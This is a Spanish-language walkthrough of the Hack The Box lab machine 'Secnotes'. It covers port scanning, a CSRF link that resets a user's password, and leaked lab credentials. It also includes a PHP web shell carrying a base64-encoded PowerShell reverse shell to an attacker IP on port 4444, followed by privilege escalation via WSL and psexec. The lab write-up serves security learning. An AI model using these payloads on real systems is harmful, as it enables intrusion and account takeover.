Secnotes

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Windows | Medium | 25 Agosto 2018 | 0xdf |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.97
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 16:53 -03
Initiating SYN Stealth Scan at 16:53
Scanning 10.10.10.97 [65535 ports]
Discovered open port 80/tcp on 10.10.10.97
Discovered open port 445/tcp on 10.10.10.97
Discovered open port 8808/tcp on 10.10.10.97
Completed SYN Stealth Scan at 16:53, 26.83s elapsed (65535 total ports)
Nmap scan report for 10.10.10.97
Host is up, received user-set (0.27s latency).
Scanned at 2025-03-26 16:53:29 -03 for 26s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
8808/tcp open ssports-bcast syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.89 seconds
Raw packets sent: 131084 (5.768MB) | Rcvd: 29 (1.997KB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p80,445,8808 -oN servicesScan 10.10.10.97
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 16:54 -03
Nmap scan report for 10.10.10.97 (10.10.10.97)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h22m06s, deviation: 4h02m31s, median: 2m05s
| smb-os-discovery:
| OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: SECNOTES
| NetBIOS computer name: SECNOTES\x00
| Workgroup: HTB\x00
|_ System time: 2025-03-26T12:56:32-07:00
| smb2-time:
| date: 2025-03-26T19:56:34
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.43 seconds
Explotación inicial
HTTP (80)
Encontramos un panel de login. Probamos realizar una inyección SQL básica pero no tenemos respuesta, por lo que creamos una cuenta.
Creamos una cuenta e ingresamos al panel.
Creamos una nueva nota de prueba
CSRF
El formulario de Contacto es vulnerable a CSRF. Tal como se indica, el mensaje será recibido por el usuario tyler@secnotes.htb
por lo que podemos enviar el siguiente elnace para que el usuario al ingresar al mismo, cambie su contraseña.
http://10.10.10.97/change_pass.php?password=password&confirm_password=password&submit=submit
Cerramos la sesión de nuestro usuario y ingresamos como el usuario tyler:password
.
Genial, logramos ganar acceso al panel como el usuario tyler
.
Si miramos entre las notas, encontramos una interesante, la cual revela las credenciales del usuario tyler
.
tyler / 92g!mA8BGjOirkL%OG*&
Enumeramos recursos compartidos y nos encontramos con el recurso new-site
en el cual tenemos capacidad de lectura y escritura.
Subimios una reverse shell.
<?php system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAyACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="); ?>
Nos ponemos en escucha por el puerto 4444 con Netcat.
rlwrap nc -lnvp 4444
curl http://10.10.10.97:8808/shell.php
Ganamos acceso al sistema.
Leemos el flag de user.txt
Elevación de privilegios
Si listamos los directorios y archivos de la raíz, nos encontramos con un directorio Distros
y un archivo Ubuntu.zip
.
Buscamos si wsl esta instalado.
cmd /c where /R C:\Windows wsl.exe
Efectivamente, encontramos la precencia de wsl.exe
lo cual quiere decir que esta instalado.
Ejecuta en PowerShell o CMD:
wsl --list --verbose
- Si muestra distribuciones Linux: WSL está instalado y hay al menos una distro configurada.
- Si dice “No hay distribuciones instaladas”: WSL está instalado, pero no hay ninguna distro de Linux disponible.
- Si da error “wsl no se reconoce”: WSL no está instalado (aunque
wsl.exe
exista enWinSxS
, puede estar deshabilitado).
C:\Windows\System32\wsl.exe id
La distrubución se esta ejecutando como root
.
Si seguimos enumerando, encontramos un acceso directo a bash.
C:\Windows\System32\bash.exe
Al intentar ejecutarlo obtenemos el siguiente error:
Si relaizamos una busqueda del binario bash.exe
en el sistema, encontramos el siguiente binario.
Ganamos acceso a través de un pty interactivo.
Si enumeramos el historial, encontramos las credenciales del usuario Administrator
.
Administrator:u6!4ZwgwOM#^OBf#Nwnh
Acccedemos al sistema usando psexec
de la suite de Impacket.
Post Explotación
Leemos el flag de root.txt
.